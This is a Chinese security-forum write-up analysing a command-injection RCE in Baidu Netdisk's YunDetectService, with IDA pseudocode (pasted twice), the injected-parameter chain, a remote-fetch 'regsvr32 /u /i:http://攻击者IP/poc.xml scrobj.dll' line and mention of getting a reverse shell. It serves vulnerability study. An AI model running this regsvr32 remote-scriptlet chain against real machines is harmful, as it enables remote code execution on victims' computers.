-
-
[原创] 百度网盘RCE分析记录
-
发表于: 8小时前 129
-
某日,在看雪论坛看到一篇关于百度网盘的RCE漏洞,很感兴趣,然后收集了相关资料,虽然各个平台写的都非常详细,也都包含了Poc运行版本之类的,但是总归想要自己研究透彻一点,于是开搞。
我找到参考的资料如下
这两篇文章当中非常详细且专业的讲解了漏洞的原理。
站在巨人肩膀上,自己再做一个总结,班门弄斧,简单来说,这是一个本地服务未授权访问导致的命令注入漏洞,最终通过“白利用”(利用系统自带合法的 regsvr32 和 scrobj.dll)实现了远程代码执行。首先,下载对应的版本7.59.5.104,然后正常启动。安装后,会启动一个名为 YunDetectService.exe 的服务,默认监听本地 TCP 10000 端口 。该服务通过 HTTP/HTTPS 协议接收请求,且无需身份认证 。在处理 OpenSafeBox 接口时,程序会接收 uk 参数 。YunDetectService.exe 接收到 uk 参数后,会将其作为 -userkey 的值,通过字符串拼接的方式直接传递给主程序 BaiduNetdisk.exe 。没有对 uk 参数进行任何安全检测或过滤,导致攻击者可以注入额外的命令行参数 。
攻击者通过精心构造 uk 参数,实际上构建了一条复杂的攻击链,流程如下:
1.注入 BaiduNetdisk.exe 的功能参数
攻击者不仅仅传入 userkey,还注入了 -install regdll 参数 。这个参数原本是用来注册百度网盘自己的 DLL 文件(YunShellExt.dll)的 。
路径穿越与 DLL 劫持
正常的注册流程会拼接 DLL 路径。攻击者利用路径穿越符 ..\ 将目标 DLL 路径指向了系统自带的 C:\windows\system32\scrobj.dll 。注意这里有一个限制条件:构造路径穿越时,必须包含 \Users\[用户名]\AppData\Roaming\baidu\BaiduNetdisk\,因此攻击者必须知道目标计算机的用户名 。
注入 regsvr32.exe 实现远程加载
BaiduNetdisk.exe 最终会调用系统工具 regsvr32.exe 来注册上述 DLL。攻击者使用双引号 " 截断了原本的文件路径参数,并注入了 regsvr32 的特有参数 /u /i。最终会让命令变成让 regsvr32 去加载一个远程的 XML 文件(SCT脚本):
执行远程脚本 (JScript)
系统加载远程的 poc.xml 文件,该文件实际上是一个 Scriptlet 组件。其中包含的 JScript 代码(例如 WScript.Shell 运行 calc.exe)会被系统执行,从而完成 RCE 。
理解原理以后,把安装目录当中的YunDetectService.exe拖出来放进ida当中看看。一开始想的是,搜索OpenSafeBox或是uk这两个字符串。但是我直接搜opensafebox没结果

然后找uk这个字符串,好像找到一个相关的,进去查看这个部分。

查看引用,发现都不是我想要的,代码部分的分析,我就不献丑了。


这三个都不是,有点灰心,然后我想到两个文章当中都有说过一个函数GetVersion,利用已知函数反推分发逻辑,首先确定的就是有这么个函数,返回版本号。在web当中是这样的

搜索这个部分当中的关键字version

然后找到引用

查看这个部分的代码:
伪代码:
首先确定这个就是刚刚看到的功能点,所有的 HTTP 请求处理逻辑一定汇聚在同一个类似于“功能分发函数”(Dispatcher)里。就像FastBackServer一样。“分发函数”应该会有大量的if/else或者switch结构的代码。找到调用 sub_4F7690 的上级函数。这个函数就应该是“分发函数”。

跳转到这个函数看下

伪代码:
果然不出所料,大量的if/else的结构,我们可以通过伪代码清晰地看到它是如何解析 method 参数并分发给不同函数的。虽然字符串可能被加密(或使用全局变量引用 dword_6BC5xx),但结构出卖了它。
我们来逐一分析这个分发逻辑:
sub_4F7690 = GetVersion
代码行 107-111:else { sub_4F7690(a2, v44); ... }
与之对应的比较逻辑:wcsicmp(v26, dword_6BC578)。这意味着 dword_6BC578 实际上指向的就是字符串 "GetVersion"。
sub_4F7960 = DownloadShareItems(我在上面手动命名的函数)
sub_4F7C10 = DownloadSelfownItems(同上)
到这里,接下来需要找到我给出的两个链接当中的大佬说的漏洞,也就是说还是需要找到OpenSafeBox方法的参数uk相关的操作。
(这个截图是我给出的链接当中的分析)

来分析这里别的功能的部分,比较有嫌疑的是下面三个分支。
-----------------------无关紧要的部分----------------------------------
sub_4F7740: 这个函数紧跟着 GetVersion (dword_6BC578),使用的是 wcsicmp 而不是 sub_411BE0(这可能是一个自定义的比较函数)。这看起来像是一个简单的 Getter,很可能对应GetPcCode。跳转查看

-----------------------无关紧要的部分----------------------------------
这里根据文档 OpenSafeBox 的参数:它需要 uk 参数。 应该和上面部分我找到的 DownloadShareItems 结构差不多。所以我觉得第一段是比较像的。跳转查看

看到这个部分关键字其实就大概确定自己找对方向了
这里,继续跟进
sub_4B7040部分伪代码
v3 = sub_4B1BA0(v2);,还需要继续跟进。
最后来到真正拼接的部分
这个就是最终有漏洞的部分
这里就是漏洞成因了
漏洞原理验证: 文档中提到“代码中没有对该参数进行安全检测和过滤,因此此处存在命令行参数注入” 。 在这行代码中,程序没有对第二个 %s 做任何转义(没有引号包裹,没有过滤空格)。只要你在 uk 参数里输入空格,就能“逃逸”出 -userkey 的范围,伪造出新的参数(例如 -install regdll)。
代码的第 45 行
回顾整个过程,通过逆向分析完整复现了数据流向:
知其然,知其所以然,接下来到了利用的部分。
poc.xml

接着尝试一下反弹shell
在kali当中准备一个xml
然后在kali当中开启一个web服务,然后访问,就会得到一个反弹shell


https://bbs.kanxue.com/thread-288381.htmhttps://75fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3k6J5k6h3g2T1N6h3k6Q4x3X3g2U0L8$3@1`./articles/vuls/456820.htmlhttps://bbs.kanxue.com/thread-288381.htmhttps://02bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3k6J5k6h3g2T1N6h3k6Q4x3X3g2U0L8$3@1`./articles/vuls/456820.htmlregsvr32.exe /u /i:http://攻击者IP/poc.xml scrobj.dllregsvr32.exe /u /i:http://攻击者IP/poc.xml scrobj.dll// 这个函数是GetVersion函数int __stdcall sub_4F7690(_DWORD *a1, int a2){ sub_4B44E0("7.59.5.104"); sub_4B4880(a2, "{\"version\":\"%s\",\"errorno\":0}", 0); *a1 = 200; if ( _InterlockedDecrement((volatile signed __int32 *)0xFFFFFFFC) <= 0 ) (*(void (__stdcall **)(int))(*MEMORY[0xFFFFFFF0] + 4))(-16); return 0;}// 这个函数是GetVersion函数int __stdcall sub_4F7690(_DWORD *a1, int a2){ sub_4B44E0("7.59.5.104"); sub_4B4880(a2, "{\"version\":\"%s\",\"errorno\":0}", 0); *a1 = 200; if ( _InterlockedDecrement((volatile signed __int32 *)0xFFFFFFFC) <= 0 ) (*(void (__stdcall **)(int))(*MEMORY[0xFFFFFFF0] + 4))(-16); return 0;}int __thiscall sub_4F7250(_DWORD *this, _DWORD *a2, int a3, int *a4, int a5){ int v6; // esi bool v7; // zf int v8; // ecx int v9; // esi int v10; // eax int v11; // edx int v12; // ecx volatile signed __int32 *v13; // esi int v14; // ecx int v15; // edi int *v16; // eax int *v17; // edx int v18; // ecx OLECHAR *v19; // ecx int v20; // ecx int v21; // ecx OLECHAR *v22; // ecx const wchar_t *v23; // ecx int v24; // ecx int v25; // ecx const wchar_t *v26; // esi int v27; // ecx int v28; // ecx int v29; // ecx int v30; // eax int v31; // ecx int v32; // ecx OLECHAR *v33; // ecx int v34; // esi int v36; // [esp-8h] [ebp-44h] int v37; // [esp-8h] [ebp-44h] int v38; // [esp-8h] [ebp-44h] int v39[6]; // [esp-4h] [ebp-40h] BYREF int *v40; // [esp+14h] [ebp-28h] int *v41; // [esp+18h] [ebp-24h] OLECHAR *v42; // [esp+1Ch] [ebp-20h] int v43; // [esp+20h] [ebp-1Ch] int v44; // [esp+24h] [ebp-18h] int *v45; // [esp+28h] [ebp-14h] BYREF int v46; // [esp+38h] [ebp-4h] v42 = (OLECHAR *)this; v6 = a3; *a4 = 0; v7 = *(this + 1) == 0; v44 = a3; v40 = a4; v43 = a5; if ( v7 ) { v8 = sub_40AE70(); if ( !v8 ) sub_40ABD0(-2147467259); v9 = (*(int (__thiscall **)(int))(*(_DWORD *)v8 + 12))(v8) + 16; v45 = (int *)v9; v46 = 0; if ( sub_4F8230(v39[1], v39[2]) ) { v10 = *(this + 9); if ( v10 ) { if ( *(_DWORD *)(*(_DWORD *)(v10 + 68) - 12) ) { sub_411F30(v10 + 68); v39[0] = (int)&v45; *a2 = 200; sub_411F30(v39[0]); v46 = -1; v11 = (int)(v45 - 4); *v40 = 1; if ( _InterlockedDecrement((volatile signed __int32 *)(v11 + 12)) <= 0 ) { v12 = *(_DWORD *)v11; v39[0] = v11;LABEL_54: (*(void (__thiscall **)(int, int))(*(_DWORD *)v12 + 4))(v12, v39[0]); return 0; } return 0; } } } v46 = -1; v13 = (volatile signed __int32 *)(v9 - 16); if ( _InterlockedDecrement(v13 + 3) <= 0 ) (*(void (__thiscall **)(volatile signed __int32, volatile signed __int32 *))(**(_DWORD **)v13 + 4))(*v13, v13); v6 = v44; } sub_40A770(&off_699574); v40 = this + 7; v15 = sub_412410(&v45); v16 = v40; if ( v15 != *v40 ) { if ( !(unsigned __int8)sub_411D90(&v45, v15 + 16) ) goto LABEL_16; v16 = v40; } v15 = *v16;LABEL_16: v17 = v45 - 4; if ( _InterlockedDecrement(v45 - 1) <= 0 ) (*(void (__thiscall **)(int, int *))(*(_DWORD *)*v17 + 4))(*v17, v17); v39[5] = (int)&off_69B0D8; v39[0] = v14; v46 = 1; v45 = v39; sub_40A770(&off_6998F4); v36 = v18; LOBYTE(v46) = 2; sub_40A770(&off_699914); LOBYTE(v46) = 1; sub_5015C0(v19, v36, v39[0]); if ( *((_DWORD *)v42 + 10) < 0x1F4u ) { sub_412190("{\"info\":\"Frequency Invalid request!\",\"error\":31034}", 0x33u); v39[0] = v20; v41 = v39; *a2 = 400; sub_40A770(L"frequency_request"); LOBYTE(v46) = 3;LABEL_20: v37 = v21; sub_40A770(&off_699914); LOBYTE(v46) = 1; sub_5015C0(v22, v37, v39[0]); return 0; } v23 = (const wchar_t *)*((_DWORD *)v42 + 3); if ( *((_DWORD *)v23 - 3) ) { if ( !dword_6BC590 ) sub_40ABD0(-2147467259); if ( !wcsicmp(v23, dword_6BC590) ) { sub_4F8420(a2, v6); v39[0] = v24; v41 = v39; sub_40A770(L"download_request"); LOBYTE(v46) = 4; goto LABEL_20; } } v25 = sub_40AE70(); if ( !v25 ) sub_40ABD0(-2147467259); v26 = (const wchar_t *)((*(int (__thiscall **)(int))(*(_DWORD *)v25 + 12))(v25) + 16); v45 = (int *)v26; LOBYTE(v46) = 5; if ( v15 != *v40 ) { sub_408580(v15 + 20); v26 = (const wchar_t *)v45; } if ( *((_DWORD *)v26 - 3) ) { if ( !dword_6BC578 ) sub_40ABD0(-2147467259); if ( wcsicmp(v26, dword_6BC578) ) { if ( !dword_6BC57C ) sub_40ABD0(-2147467259); if ( !wcsicmp(v26, dword_6BC57C) ) { sub_4F7740(a2, v44); goto LABEL_52; } if ( !sub_411BE0(dword_6BC584) ) { DownloadSelfownItems(v42, a2, v44); goto LABEL_52; } if ( !sub_411BE0(dword_6BC580) ) { DownloadShareItems(v42, a2, v44); goto LABEL_52; } if ( !sub_411BE0(dword_6BC588) ) { sub_4F7830(v42, a2, v44); goto LABEL_52; } if ( !sub_411BE0(dword_6BC58C) ) { sub_4F7E20(a2, v44); goto LABEL_52; } v30 = sub_411BE0(dword_6BC594); v39[0] = v44; if ( v30 ) { sub_4F7800(a2, v39[0]); v39[0] = v32; v41 = v39; sub_40A770(L"invalid_request"); LOBYTE(v46) = 9; } else { sub_4F8970(v43, a2, v39[0]); v39[0] = v31; v41 = v39; sub_40A770(&off_6999CC); LOBYTE(v46) = 8; } } else { sub_4F7690(a2, v44); v39[0] = v29; v41 = v39; sub_40A770(&off_6999A4); LOBYTE(v46) = 7; } } else { sub_412190("{\"info\":\"Invalid request!\"}", 0x1Bu); v39[0] = v27; v41 = v39; *a2 = 400; sub_40A770(L"invalid_request"); LOBYTE(v46) = 6; } v38 = v28; sub_40A770(&off_699914); LOBYTE(v46) = 5; sub_5015C0(v33, v38, v39[0]);LABEL_52: LOBYTE(v46) = 1; v34 = (int)(v26 - 8); if ( _InterlockedDecrement((volatile signed __int32 *)(v34 + 12)) <= 0 ) { v12 = *(_DWORD *)v34; v39[0] = v34; goto LABEL_54; } return 0;}int __thiscall sub_4F7250(_DWORD *this, _DWORD *a2, int a3, int *a4, int a5){ int v6; // esi bool v7; // zf int v8; // ecx int v9; // esi int v10; // eax int v11; // edx int v12; // ecx volatile signed __int32 *v13; // esi int v14; // ecx int v15; // edi int *v16; // eax int *v17; // edx int v18; // ecx OLECHAR *v19; // ecx int v20; // ecx int v21; // ecx OLECHAR *v22; // ecx const wchar_t *v23; // ecx int v24; // ecx int v25; // ecx const wchar_t *v26; // esi int v27; // ecx int v28; // ecx int v29; // ecx int v30; // eax int v31; // ecx int v32; // ecx OLECHAR *v33; // ecx int v34; // esi int v36; // [esp-8h] [ebp-44h] int v37; // [esp-8h] [ebp-44h] int v38; // [esp-8h] [ebp-44h] int v39[6]; // [esp-4h] [ebp-40h] BYREF int *v40; // [esp+14h] [ebp-28h] int *v41; // [esp+18h] [ebp-24h] OLECHAR *v42; // [esp+1Ch] [ebp-20h] int v43; // [esp+20h] [ebp-1Ch] int v44; // [esp+24h] [ebp-18h] int *v45; // [esp+28h] [ebp-14h] BYREF int v46; // [esp+38h] [ebp-4h] v42 = (OLECHAR *)this; v6 = a3; *a4 = 0; v7 = *(this + 1) == 0; v44 = a3; v40 = a4; v43 = a5; if ( v7 ) { v8 = sub_40AE70(); if ( !v8 ) sub_40ABD0(-2147467259); v9 = (*(int (__thiscall **)(int))(*(_DWORD *)v8 + 12))(v8) + 16; v45 = (int *)v9; v46 = 0; if ( sub_4F8230(v39[1], v39[2]) ) { v10 = *(this + 9); if ( v10 ) { if ( *(_DWORD *)(*(_DWORD *)(v10 + 68) - 12) ) { sub_411F30(v10 + 68); v39[0] = (int)&v45; *a2 = 200; sub_411F30(v39[0]); v46 = -1; v11 = (int)(v45 - 4); *v40 = 1; if ( _InterlockedDecrement((volatile signed __int32 *)(v11 + 12)) <= 0 ) { v12 = *(_DWORD *)v11; v39[0] = v11;LABEL_54: (*(void (__thiscall **)(int, int))(*(_DWORD *)v12 + 4))(v12, v39[0]); return 0; } return 0; } } } v46 = -1; v13 = (volatile signed __int32 *)(v9 - 16); if ( _InterlockedDecrement(v13 + 3) <= 0 ) (*(void (__thiscall **)(volatile signed __int32, volatile signed __int32 *))(**(_DWORD **)v13 + 4))(*v13, v13); v6 = v44; } sub_40A770(&off_699574); v40 = this + 7; v15 = sub_412410(&v45); v16 = v40; if ( v15 != *v40 ) { if ( !(unsigned __int8)sub_411D90(&v45, v15 + 16) ) goto LABEL_16; v16 = v40; } v15 = *v16;LABEL_16: v17 = v45 - 4; if ( _InterlockedDecrement(v45 - 1) <= 0 ) (*(void (__thiscall **)(int, int *))(*(_DWORD *)*v17 + 4))(*v17, v17); v39[5] = (int)&off_69B0D8; v39[0] = v14; v46 = 1; v45 = v39; sub_40A770(&off_6998F4); v36 = v18; LOBYTE(v46) = 2; sub_40A770(&off_699914); LOBYTE(v46) = 1; sub_5015C0(v19, v36, v39[0]); if ( *((_DWORD *)v42 + 10) < 0x1F4u ) { sub_412190("{\"info\":\"Frequency Invalid request!\",\"error\":31034}", 0x33u); v39[0] = v20; v41 = v39; *a2 = 400; sub_40A770(L"frequency_request"); LOBYTE(v46) = 3;LABEL_20: v37 = v21; sub_40A770(&off_699914); LOBYTE(v46) = 1; sub_5015C0(v22, v37, v39[0]); return 0; } v23 = (const wchar_t *)*((_DWORD *)v42 + 3); if ( *((_DWORD *)v23 - 3) ) { if ( !dword_6BC590 ) sub_40ABD0(-2147467259); if ( !wcsicmp(v23, dword_6BC590) ) { sub_4F8420(a2, v6); v39[0] = v24; v41 = v39; sub_40A770(L"download_request"); LOBYTE(v46) = 4; goto LABEL_20; } } v25 = sub_40AE70(); if ( !v25 ) sub_40ABD0(-2147467259); v26 = (const wchar_t *)((*(int (__thiscall **)(int))(*(_DWORD *)v25 + 12))(v25) + 16); v45 = (int *)v26; LOBYTE(v46) = 5; if ( v15 != *v40 ) { sub_408580(v15 + 20); v26 = (const wchar_t *)v45; } if ( *((_DWORD *)v26 - 3) ) { if ( !dword_6BC578 ) sub_40ABD0(-2147467259); if ( wcsicmp(v26, dword_6BC578) ) { if ( !dword_6BC57C ) sub_40ABD0(-2147467259); if ( !wcsicmp(v26, dword_6BC57C) ) { sub_4F7740(a2, v44); goto LABEL_52; } if ( !sub_411BE0(dword_6BC584) ) { DownloadSelfownItems(v42, a2, v44); goto LABEL_52; } if ( !sub_411BE0(dword_6BC580) ) { DownloadShareItems(v42, a2, v44); goto LABEL_52; } if ( !sub_411BE0(dword_6BC588) ) { sub_4F7830(v42, a2, v44); goto LABEL_52; } if ( !sub_411BE0(dword_6BC58C) ) { sub_4F7E20(a2, v44); goto LABEL_52; } v30 = sub_411BE0(dword_6BC594); v39[0] = v44; if ( v30 ) { sub_4F7800(a2, v39[0]); v39[0] = v32; v41 = v39; sub_40A770(L"invalid_request"); LOBYTE(v46) = 9; } else { sub_4F8970(v43, a2, v39[0]); v39[0] = v31; v41 = v39; sub_40A770(&off_6999CC); LOBYTE(v46) = 8; } } else { sub_4F7690(a2, v44); v39[0] = v29; v41 = v39; sub_40A770(&off_6999A4); LOBYTE(v46) = 7; } } else { sub_412190("{\"info\":\"Invalid request!\"}", 0x1Bu); v39[0] = v27; v41 = v39; *a2 = 400; sub_40A770(L"invalid_request"); LOBYTE(v46) = 6; } v38 = v28; sub_40A770(&off_699914); LOBYTE(v46) = 5;